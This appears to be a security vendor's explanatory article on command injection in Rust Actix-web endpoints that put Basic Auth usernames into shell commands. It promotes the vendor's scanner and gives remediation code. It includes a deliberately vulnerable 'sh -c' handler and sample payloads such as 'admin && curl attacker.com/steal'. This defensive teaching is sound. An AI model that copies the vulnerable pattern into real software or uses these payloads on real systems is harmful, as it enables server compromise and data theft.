Command Injection in Actix with Basic Auth
Command Injection in Actix with Basic Auth — how this specific combination creates or exposes the vulnerability
Command Injection occurs when an API endpoint passes untrusted input directly to a system shell or process builder. In Actix-web applications that also use HTTP Basic Authentication, a common pattern is to authenticate first, then use credentials or derived values in backend commands. If the username or password is sourced from user input and passed without validation into shell commands (for example to ffmpeg, curl, or a custom binary), an attacker can inject shell metacharacters to execute arbitrary code. Consider an endpoint that accepts a username via Basic Auth and uses it to construct a command like ffmpeg -i file -metadata author="$USERNAME" output.mp4. Because Basic Auth transmits credentials in base64 (not encryption), transport security depends on HTTPS; however, even with HTTPS, the server-side use of the decoded username in a shell command introduces command injection risk when metacharacters are not sanitized.
An illustrative vulnerable Actix handler might decode the Basic Auth header, then invoke a command via std::process::Command. For instance, extracting the username and using it in a shell pipeline without proper escaping enables injection: an attacker could supply a username like admin; id or admin && curl attacker.com/steal. If the process spawns a shell (e.g., using sh -c), the injected commands execute with the server’s privileges. middleBrick detects such patterns by correlating authentication flows (Basic Auth) with runtime command execution behaviors, highlighting places where user-controlled data reaches shell commands. Even without authentication bypass, the combination of Basic Auth and command construction amplifies impact because valid credentials may make the endpoint more accessible to authenticated attackers who then exploit injection to escalate or pivot.
Additionally, OpenAPI/Swagger specs may describe the endpoint as requiring Basic Auth but not specify constraints on the username format. middleBrick cross-references spec definitions with runtime behavior to uncover mismatches. For example, a spec may declare a username string with no pattern restriction, while runtime testing shows that input flows into shell commands. This alignment between spec assumptions and actual execution paths is a key factor in command injection risk. Developers should treat any user-controlled data—including Basic Auth credentials—as untrusted when building commands, and prefer structured APIs or safe abstractions over shell invocation.
Basic Auth-Specific Remediation in Actix — concrete code fixes
Remediation focuses on avoiding shell invocation and strictly validating or encoding credentials. The safest approach is to not pass Basic Auth-derived data into shell commands at all. If metadata or external tool usage is required, use direct program invocation with argument vectors and avoid shell metacharacters entirely.
Example: Vulnerable handler using shell
use actix_web::{web, HttpResponse, Result};
use std::process::Command;
async fn process_with_auth(basic_user: String) -> Result<HttpResponse> {
// Dangerous: using user-controlled data in shell command
let output = Command::new("sh")
.arg("-c")
.arg(format!("ffmpeg -i file -metadata author={} output.mp4", basic_user))
.output()?;
Ok(HttpResponse::Ok().body("done"))
}
Secure fix: direct invocation with arguments
use actix_web::{web, HttpResponse, Result};
use std::process::Command;
async fn process_with_auth_safe(username: String) -> Result<HttpResponse> {
// Safe: no shell, arguments passed directly
let output = Command::new("ffmpeg")
.arg("-i")
.arg("file")
.arg("-metadata")
.arg(format!("author={}", username)) // Ensure username is alphanumeric/safe
.output()?;
Ok(HttpResponse::Ok().body("done"))
}
Basic Auth handler with validation
Validate the username against a strict allowlist or pattern before use. Do not rely on encoding alone.
use actix_web::{web, HttpRequest, HttpResponse, Result};
use base64::Engine;
fn validate_username(username: &str) -> bool {
// Allow only alphanumeric and a few safe characters
username.chars().all(|c| c.is_alphanumeric() || c == '-' || c == '_')
}
async fn basic_auth_handler(req: HttpRequest) -> Result<HttpResponse> {
if let Some(auth_header) = req.headers().get("authorization") {
if let Ok(auth_str) = auth_header.to_str() {
if auth_str.starts_with("Basic ") {
let encoded = auth_str.strip_prefix("Basic ").unwrap_or("");
if let Ok(decoded) = base64::engine::general_purpose::STANDARD.decode(encoded) {
if let Ok(credentials) = String::from_utf8(decoded) {
let parts: Vec<&str> = credentials.splitn(2, ':').collect();
if parts.len() == 2 && validate_username(parts[0]) {
// Proceed with safe usage
return Ok(HttpResponse::Ok().body("authenticated and safe"));
}
}
}
}
}
}
Ok(HttpResponse::Unauthorized().body("invalid auth"))
}
middleBrick’s CLI can be used to verify that remediation works: middlebrick scan <url> to ensure findings related to command injection under Basic Auth are reduced. For teams managing many endpoints, the Pro plan’s continuous monitoring and GitHub Action integration can help prevent regressions by failing builds if risk scores exceed configured thresholds.
Related CWEs: inputValidation
| CWE ID | Name | Severity |
|---|---|---|
| CWE-20 | Improper Input Validation | HIGH |
| CWE-22 | Path Traversal | HIGH |
| CWE-74 | Injection | CRITICAL |
| CWE-77 | Command Injection | CRITICAL |
| CWE-78 | OS Command Injection | CRITICAL |
| CWE-79 | Cross-site Scripting (XSS) | HIGH |
| CWE-89 | SQL Injection | CRITICAL |
| CWE-90 | LDAP Injection | HIGH |
| CWE-91 | XML Injection | HIGH |
| CWE-94 | Code Injection | CRITICAL |